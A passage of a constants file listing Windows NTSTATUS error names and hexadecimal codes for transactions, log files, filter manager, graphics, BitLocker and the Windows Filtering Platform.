STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS = 0xC0190026
STATUS_HANDLE_NO_LONGER_VALID = 0xC0190028
STATUS_LOG_CORRUPTION_DETECTED = 0xC0190030
STATUS_RM_DISCONNECTED = 0xC0190032
STATUS_ENLISTMENT_NOT_SUPERIOR = 0xC0190033
STATUS_FILE_IDENTITY_NOT_PERSISTENT = 0xC0190036
STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 0xC0190037
STATUS_CANT_CROSS_RM_BOUNDARY = 0xC0190038
STATUS_TXF_DIR_NOT_EMPTY = 0xC0190039
STATUS_INDOUBT_TRANSACTIONS_EXIST = 0xC019003A
STATUS_TM_VOLATILE = 0xC019003B
STATUS_ROLLBACK_TIMER_EXPIRED = 0xC019003C
STATUS_TXF_ATTRIBUTE_CORRUPT = 0xC019003D
STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION = 0xC019003E
STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED = 0xC019003F
STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 0xC0190040
STATUS_TRANSACTION_REQUIRED_PROMOTION = 0xC0190043
STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION = 0xC0190044
STATUS_TRANSACTIONS_NOT_FROZEN = 0xC0190045
STATUS_TRANSACTION_FREEZE_IN_PROGRESS = 0xC0190046
STATUS_NOT_SNAPSHOT_VOLUME = 0xC0190047
STATUS_NO_SAVEPOINT_WITH_OPEN_FILES = 0xC0190048
STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION = 0xC0190049
STATUS_TM_IDENTITY_MISMATCH = 0xC019004A
STATUS_FLOATED_SECTION = 0xC019004B
STATUS_CANNOT_ACCEPT_TRANSACTED_WORK = 0xC019004C
STATUS_CANNOT_ABORT_TRANSACTIONS = 0xC019004D
STATUS_TRANSACTION_NOT_FOUND = 0xC019004E
STATUS_RESOURCEMANAGER_NOT_FOUND = 0xC019004F
STATUS_ENLISTMENT_NOT_FOUND = 0xC0190050
STATUS_TRANSACTIONMANAGER_NOT_FOUND = 0xC0190051
STATUS_TRANSACTIONMANAGER_NOT_ONLINE = 0xC0190052
STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 0xC0190053
STATUS_TRANSACTION_NOT_ROOT = 0xC0190054
STATUS_TRANSACTION_OBJECT_EXPIRED = 0xC0190055
STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 0xC0190056
STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED = 0xC0190057
STATUS_TRANSACTION_RECORD_TOO_LONG = 0xC0190058
STATUS_NO_LINK_TRACKING_IN_TRANSACTION = 0xC0190059
STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 0xC019005A
STATUS_TRANSACTION_INTEGRITY_VIOLATED = 0xC019005B
STATUS_EXPIRED_HANDLE = 0xC0190060
STATUS_TRANSACTION_NOT_ENLISTED = 0xC0190061
STATUS_LOG_SECTOR_INVALID = 0xC01A0001
STATUS_LOG_SECTOR_PARITY_INVALID = 0xC01A0002
STATUS_LOG_SECTOR_REMAPPED = 0xC01A0003
STATUS_LOG_BLOCK_INCOMPLETE = 0xC01A0004
STATUS_LOG_INVALID_RANGE = 0xC01A0005
STATUS_LOG_BLOCKS_EXHAUSTED = 0xC01A0006
STATUS_LOG_READ_CONTEXT_INVALID = 0xC01A0007
STATUS_LOG_RESTART_INVALID = 0xC01A0008
STATUS_LOG_BLOCK_VERSION = 0xC01A0009
STATUS_LOG_BLOCK_INVALID = 0xC01A000A
STATUS_LOG_READ_MODE_INVALID = 0xC01A000B
STATUS_LOG_METADATA_CORRUPT = 0xC01A000D
STATUS_LOG_METADATA_INVALID = 0xC01A000E
STATUS_LOG_METADATA_INCONSISTENT = 0xC01A000F
STATUS_LOG_RESERVATION_INVALID = 0xC01A0010
STATUS_LOG_CANT_DELETE = 0xC01A0011
STATUS_LOG_CONTAINER_LIMIT_EXCEEDED = 0xC01A0012
STATUS_LOG_START_OF_LOG = 0xC01A0013
STATUS_LOG_POLICY_ALREADY_INSTALLED = 0xC01A0014
STATUS_LOG_POLICY_NOT_INSTALLED = 0xC01A0015
STATUS_LOG_POLICY_INVALID = 0xC01A0016
STATUS_LOG_POLICY_CONFLICT = 0xC01A0017
STATUS_LOG_PINNED_ARCHIVE_TAIL = 0xC01A0018
STATUS_LOG_RECORD_NONEXISTENT = 0xC01A0019
STATUS_LOG_RECORDS_RESERVED_INVALID = 0xC01A001A
STATUS_LOG_SPACE_RESERVED_INVALID = 0xC01A001B
STATUS_LOG_TAIL_INVALID = 0xC01A001C
STATUS_LOG_FULL = 0xC01A001D
STATUS_LOG_MULTIPLEXED = 0xC01A001E
STATUS_LOG_DEDICATED = 0xC01A001F
STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS = 0xC01A0020
STATUS_LOG_ARCHIVE_IN_PROGRESS = 0xC01A0021
STATUS_LOG_EPHEMERAL = 0xC01A0022
STATUS_LOG_NOT_ENOUGH_CONTAINERS = 0xC01A0023
STATUS_LOG_CLIENT_ALREADY_REGISTERED = 0xC01A0024
STATUS_LOG_CLIENT_NOT_REGISTERED = 0xC01A0025
STATUS_LOG_FULL_HANDLER_IN_PROGRESS = 0xC01A0026
STATUS_LOG_CONTAINER_READ_FAILED = 0xC01A0027
STATUS_LOG_CONTAINER_WRITE_FAILED = 0xC01A0028
STATUS_LOG_CONTAINER_OPEN_FAILED = 0xC01A0029
STATUS_LOG_CONTAINER_STATE_INVALID = 0xC01A002A
STATUS_LOG_STATE_INVALID = 0xC01A002B
STATUS_LOG_PINNED = 0xC01A002C
STATUS_LOG_METADATA_FLUSH_FAILED = 0xC01A002D
STATUS_LOG_INCONSISTENT_SECURITY = 0xC01A002E
STATUS_LOG_APPENDED_FLUSH_FAILED = 0xC01A002F
STATUS_LOG_PINNED_RESERVATION = 0xC01A0030
STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD = 0xC01B00EA
STATUS_FLT_NO_HANDLER_DEFINED = 0xC01C0001
STATUS_FLT_CONTEXT_ALREADY_DEFINED = 0xC01C0002
STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST = 0xC01C0003
STATUS_FLT_DISALLOW_FAST_IO = 0xC01C0004
STATUS_FLT_INVALID_NAME_REQUEST = 0xC01C0005
STATUS_FLT_NOT_SAFE_TO_POST_OPERATION = 0xC01C0006
STATUS_FLT_NOT_INITIALIZED = 0xC01C0007
STATUS_FLT_FILTER_NOT_READY = 0xC01C0008
STATUS_FLT_POST_OPERATION_CLEANUP = 0xC01C0009
STATUS_FLT_INTERNAL_ERROR = 0xC01C000A
STATUS_FLT_DELETING_OBJECT = 0xC01C000B
STATUS_FLT_MUST_BE_NONPAGED_POOL = 0xC01C000C
STATUS_FLT_DUPLICATE_ENTRY = 0xC01C000D
STATUS_FLT_CBDQ_DISABLED = 0xC01C000E
STATUS_FLT_DO_NOT_ATTACH = 0xC01C000F
STATUS_FLT_DO_NOT_DETACH = 0xC01C0010
STATUS_FLT_INSTANCE_ALTITUDE_COLLISION = 0xC01C0011
STATUS_FLT_INSTANCE_NAME_COLLISION = 0xC01C0012
STATUS_FLT_FILTER_NOT_FOUND = 0xC01C0013
STATUS_FLT_VOLUME_NOT_FOUND = 0xC01C0014
STATUS_FLT_INSTANCE_NOT_FOUND = 0xC01C0015
STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND = 0xC01C0016
STATUS_FLT_INVALID_CONTEXT_REGISTRATION = 0xC01C0017
STATUS_FLT_NAME_CACHE_MISS = 0xC01C0018
STATUS_FLT_NO_DEVICE_OBJECT = 0xC01C0019
STATUS_FLT_VOLUME_ALREADY_MOUNTED = 0xC01C001A
STATUS_FLT_ALREADY_ENLISTED = 0xC01C001B
STATUS_FLT_CONTEXT_ALREADY_LINKED = 0xC01C001C
STATUS_FLT_NO_WAITER_FOR_REPLY = 0xC01C0020
STATUS_MONITOR_NO_DESCRIPTOR = 0xC01D0001
STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT = 0xC01D0002
STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM = 0xC01D0003
STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK = 0xC01D0004
STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED = 0xC01D0005
STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK = 0xC01D0006
STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK = 0xC01D0007
STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA = 0xC01D0008
STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK = 0xC01D0009
STATUS_MONITOR_INVALID_MANUFACTURE_DATE = 0xC01D000A
STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER = 0xC01E0000
STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER = 0xC01E0001
STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER = 0xC01E0002
STATUS_GRAPHICS_ADAPTER_WAS_RESET = 0xC01E0003
STATUS_GRAPHICS_INVALID_DRIVER_MODEL = 0xC01E0004
STATUS_GRAPHICS_PRESENT_MODE_CHANGED = 0xC01E0005
STATUS_GRAPHICS_PRESENT_OCCLUDED = 0xC01E0006
STATUS_GRAPHICS_PRESENT_DENIED = 0xC01E0007
STATUS_GRAPHICS_CANNOTCOLORCONVERT = 0xC01E0008
STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED = 0xC01E000B
STATUS_GRAPHICS_PRESENT_UNOCCLUDED = 0xC01E000C
STATUS_GRAPHICS_NO_VIDEO_MEMORY = 0xC01E0100
STATUS_GRAPHICS_CANT_LOCK_MEMORY = 0xC01E0101
STATUS_GRAPHICS_ALLOCATION_BUSY = 0xC01E0102
STATUS_GRAPHICS_TOO_MANY_REFERENCES = 0xC01E0103
STATUS_GRAPHICS_TRY_AGAIN_LATER = 0xC01E0104
STATUS_GRAPHICS_TRY_AGAIN_NOW = 0xC01E0105
STATUS_GRAPHICS_ALLOCATION_INVALID = 0xC01E0106
STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE = 0xC01E0107
STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED = 0xC01E0108
STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION = 0xC01E0109
STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE = 0xC01E0110
STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION = 0xC01E0111
STATUS_GRAPHICS_ALLOCATION_CLOSED = 0xC01E0112
STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE = 0xC01E0113
STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE = 0xC01E0114
STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE = 0xC01E0115
STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST = 0xC01E0116
STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE = 0xC01E0200
STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY = 0xC01E0300
STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED = 0xC01E0301
STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED = 0xC01E0302
STATUS_GRAPHICS_INVALID_VIDPN = 0xC01E0303
STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE = 0xC01E0304
STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET = 0xC01E0305
STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED = 0xC01E0306
STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET = 0xC01E0308
STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET = 0xC01E0309
STATUS_GRAPHICS_INVALID_FREQUENCY = 0xC01E030A
STATUS_GRAPHICS_INVALID_ACTIVE_REGION = 0xC01E030B
STATUS_GRAPHICS_INVALID_TOTAL_REGION = 0xC01E030C
STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE = 0xC01E0310
STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE = 0xC01E0311
STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET = 0xC01E0312
STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY = 0xC01E0313
STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET = 0xC01E0314
STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET = 0xC01E0315
STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET = 0xC01E0316
STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET = 0xC01E0317
STATUS_GRAPHICS_TARGET_ALREADY_IN_SET = 0xC01E0318
STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH = 0xC01E0319
STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY = 0xC01E031A
STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET = 0xC01E031B
STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE = 0xC01E031C
STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET = 0xC01E031D
STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET = 0xC01E031F
STATUS_GRAPHICS_STALE_MODESET = 0xC01E0320
STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET = 0xC01E0321
STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE = 0xC01E0322
STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN = 0xC01E0323
STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE = 0xC01E0324
STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION = 0xC01E0325
STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES = 0xC01E0326
STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY = 0xC01E0327
STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE = 0xC01E0328
STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET = 0xC01E0329
STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET = 0xC01E032A
STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR = 0xC01E032B
STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET = 0xC01E032C
STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET = 0xC01E032D
STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE = 0xC01E032E
STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE = 0xC01E032F
STATUS_GRAPHICS_RESOURCES_NOT_RELATED = 0xC01E0330
STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE = 0xC01E0331
STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE = 0xC01E0332
STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET = 0xC01E0333
STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER = 0xC01E0334
STATUS_GRAPHICS_NO_VIDPNMGR = 0xC01E0335
STATUS_GRAPHICS_NO_ACTIVE_VIDPN = 0xC01E0336
STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY = 0xC01E0337
STATUS_GRAPHICS_MONITOR_NOT_CONNECTED = 0xC01E0338
STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY = 0xC01E0339
STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE = 0xC01E033A
STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE = 0xC01E033B
STATUS_GRAPHICS_INVALID_STRIDE = 0xC01E033C
STATUS_GRAPHICS_INVALID_PIXELFORMAT = 0xC01E033D
STATUS_GRAPHICS_INVALID_COLORBASIS = 0xC01E033E
STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE = 0xC01E033F
STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY = 0xC01E0340
STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT = 0xC01E0341
STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE = 0xC01E0342
STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN = 0xC01E0343
STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL = 0xC01E0344
STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION = 0xC01E0345
STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = 0xC01E0346
STATUS_GRAPHICS_INVALID_GAMMA_RAMP = 0xC01E0347
STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED = 0xC01E0348
STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED = 0xC01E0349
STATUS_GRAPHICS_MODE_NOT_IN_MODESET = 0xC01E034A
STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON = 0xC01E034D
STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE = 0xC01E034E
STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE = 0xC01E034F
STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS = 0xC01E0350
STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING = 0xC01E0352
STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED = 0xC01E0353
STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS = 0xC01E0354
STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT = 0xC01E0355
STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM = 0xC01E0356
STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN = 0xC01E0357
STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT = 0xC01E0358
STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED = 0xC01E0359
STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION = 0xC01E035A
STATUS_GRAPHICS_INVALID_CLIENT_TYPE = 0xC01E035B
STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET = 0xC01E035C
STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED = 0xC01E0400
STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED = 0xC01E0401
STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER = 0xC01E0430
STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED = 0xC01E0431
STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED = 0xC01E0432
STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY = 0xC01E0433
STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED = 0xC01E0434
STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON = 0xC01E0435
STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE = 0xC01E0436
STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER = 0xC01E0438
STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED = 0xC01E043B
STATUS_GRAPHICS_OPM_NOT_SUPPORTED = 0xC01E0500
STATUS_GRAPHICS_COPP_NOT_SUPPORTED = 0xC01E0501
STATUS_GRAPHICS_UAB_NOT_SUPPORTED = 0xC01E0502
STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS = 0xC01E0503
STATUS_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL = 0xC01E0504
STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST = 0xC01E0505
STATUS_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME = 0xC01E0506
STATUS_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP = 0xC01E0507
STATUS_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED = 0xC01E0508
STATUS_GRAPHICS_OPM_INVALID_POINTER = 0xC01E050A
STATUS_GRAPHICS_OPM_INTERNAL_ERROR = 0xC01E050B
STATUS_GRAPHICS_OPM_INVALID_HANDLE = 0xC01E050C
STATUS_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE = 0xC01E050D
STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH = 0xC01E050E
STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED = 0xC01E050F
STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED = 0xC01E0510
STATUS_GRAPHICS_PVP_HFS_FAILED = 0xC01E0511
STATUS_GRAPHICS_OPM_INVALID_SRM = 0xC01E0512
STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP = 0xC01E0513
STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP = 0xC01E0514
STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA = 0xC01E0515
STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET = 0xC01E0516
STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH = 0xC01E0517
STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE = 0xC01E0518
STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS = 0xC01E051A
STATUS_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS = 0xC01E051B
STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS = 0xC01E051C
STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST = 0xC01E051D
STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR = 0xC01E051E
STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS = 0xC01E051F
STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED = 0xC01E0520
STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST = 0xC01E0521
STATUS_GRAPHICS_I2C_NOT_SUPPORTED = 0xC01E0580
STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST = 0xC01E0581
STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA = 0xC01E0582
STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA = 0xC01E0583
STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED = 0xC01E0584
STATUS_GRAPHICS_DDCCI_INVALID_DATA = 0xC01E0585
STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = 0xC01E0586
STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING = 0xC01E0587
STATUS_GRAPHICS_MCA_INTERNAL_ERROR = 0xC01E0588
STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND = 0xC01E0589
STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH = 0xC01E058A
STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM = 0xC01E058B
STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE = 0xC01E058C
STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS = 0xC01E058D
STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED = 0xC01E05E0
STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME = 0xC01E05E1
STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP = 0xC01E05E2
STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED = 0xC01E05E3
STATUS_GRAPHICS_INVALID_POINTER = 0xC01E05E4
STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE = 0xC01E05E5
STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL = 0xC01E05E6
STATUS_GRAPHICS_INTERNAL_ERROR = 0xC01E05E7
STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS = 0xC01E05E8
STATUS_FVE_LOCKED_VOLUME = 0xC0210000
STATUS_FVE_NOT_ENCRYPTED = 0xC0210001
STATUS_FVE_BAD_INFORMATION = 0xC0210002
STATUS_FVE_TOO_SMALL = 0xC0210003
STATUS_FVE_FAILED_WRONG_FS = 0xC0210004
STATUS_FVE_FAILED_BAD_FS = 0xC0210005
STATUS_FVE_FS_NOT_EXTENDED = 0xC0210006
STATUS_FVE_FS_MOUNTED = 0xC0210007
STATUS_FVE_NO_LICENSE = 0xC0210008
STATUS_FVE_ACTION_NOT_ALLOWED = 0xC0210009
STATUS_FVE_BAD_DATA = 0xC021000A
STATUS_FVE_VOLUME_NOT_BOUND = 0xC021000B
STATUS_FVE_NOT_DATA_VOLUME = 0xC021000C
STATUS_FVE_CONV_READ_ERROR = 0xC021000D
STATUS_FVE_CONV_WRITE_ERROR = 0xC021000E
STATUS_FVE_OVERLAPPED_UPDATE = 0xC021000F
STATUS_FVE_FAILED_SECTOR_SIZE = 0xC0210010
STATUS_FVE_FAILED_AUTHENTICATION = 0xC0210011
STATUS_FVE_NOT_OS_VOLUME = 0xC0210012
STATUS_FVE_KEYFILE_NOT_FOUND = 0xC0210013
STATUS_FVE_KEYFILE_INVALID = 0xC0210014
STATUS_FVE_KEYFILE_NO_VMK = 0xC0210015
STATUS_FVE_TPM_DISABLED = 0xC0210016
STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO = 0xC0210017
STATUS_FVE_TPM_INVALID_PCR = 0xC0210018
STATUS_FVE_TPM_NO_VMK = 0xC0210019
STATUS_FVE_PIN_INVALID = 0xC021001A
STATUS_FVE_AUTH_INVALID_APPLICATION = 0xC021001B
STATUS_FVE_AUTH_INVALID_CONFIG = 0xC021001C
STATUS_FVE_DEBUGGER_ENABLED = 0xC021001D
STATUS_FVE_DRY_RUN_FAILED = 0xC021001E
STATUS_FVE_BAD_METADATA_POINTER = 0xC021001F
STATUS_FVE_OLD_METADATA_COPY = 0xC0210020
STATUS_FVE_REBOOT_REQUIRED = 0xC0210021
STATUS_FVE_RAW_ACCESS = 0xC0210022
STATUS_FVE_RAW_BLOCKED = 0xC0210023
STATUS_FVE_NO_FEATURE_LICENSE = 0xC0210026
STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED = 0xC0210027
STATUS_FVE_CONV_RECOVERY_FAILED = 0xC0210028
STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG = 0xC0210029
STATUS_FVE_VOLUME_TOO_SMALL = 0xC0210030
STATUS_FWP_CALLOUT_NOT_FOUND = 0xC0220001
STATUS_FWP_CONDITION_NOT_FOUND = 0xC0220002
STATUS_FWP_FILTER_NOT_FOUND = 0xC0220003
STATUS_FWP_LAYER_NOT_FOUND = 0xC0220004
STATUS_FWP_PROVIDER_NOT_FOUND = 0xC0220005
STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND = 0xC0220006
STATUS_FWP_SUBLAYER_NOT_FOUND = 0xC0220007
STATUS_FWP_NOT_FOUND = 0xC0220008
STATUS_FWP_ALREADY_EXISTS = 0xC0220009
STATUS_FWP_IN_USE = 0xC022000A
STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS = 0xC022000B
STATUS_FWP_WRONG_SESSION = 0xC022000C
STATUS_FWP_NO_TXN_IN_PROGRESS = 0xC022000D
STATUS_FWP_TXN_IN_PROGRESS = 0xC022000E
STATUS_FWP_TXN_ABORTED = 0xC022000F
STATUS_FWP_SESSION_ABORTED = 0xC0220010
STATUS_FWP_INCOMPATIBLE_TXN = 0xC0220011
STATUS_FWP_TIMEOUT = 0xC0220012
STATUS_FWP_NET_EVENTS_DISABLED = 0xC0220013
STATUS_FWP_INCOMPATIBLE_LAYER = 0xC0220014
STATUS_FWP_KM_CLIENTS_ONLY = 0xC0220015
STATUS_FWP_LIFETIME_MISMATCH = 0xC0220016
STATUS_FWP_BUILTIN_OBJECT = 0xC0220017
STATUS_FWP_TOO_MANY_BOOTTIME_FILTERS = 0xC0220018
STATUS_FWP_TOO_MANY_CALLOUTS = 0xC0220018
STATUS_FWP_NOTIFICATION_DROPPED = 0xC0220019
STATUS_FWP_TRAFFIC_MISMATCH = 0xC022001A
STATUS_FWP_INCOMPATIBLE_SA_STATE = 0xC022001B
STATUS_FWP_NULL_POINTER = 0xC022001C
STATUS_FWP_INVALID_ENUMERATOR = 0xC022001D
STATUS_FWP_INVALID_FLAGS = 0xC022001E
STATUS_FWP_INVALID_NET_MASK = 0xC022001F
STATUS_FWP_INVALID_RANGE = 0xC0220020
STATUS_FWP_INVALID_INTERVAL = 0xC0220021
STATUS_FWP_ZERO_LENGTH_ARRAY = 0xC0220022
STATUS_FWP_NULL_DISPLAY_NAME = 0xC0220023
STATUS_FWP_INVALID_ACTION_TYPE = 0xC0220024
STATUS_FWP_INVALID_WEIGHT = 0xC0220025
STATUS_FWP_MATCH_TYPE_MISMATCH = 0xC0220026
STATUS_FWP_TYPE_MISMATCH = 0xC0220027
STATUS_FWP_OUT_OF_BOUNDS = 0xC0220028
STATUS_FWP_RESERVED = 0xC0220029
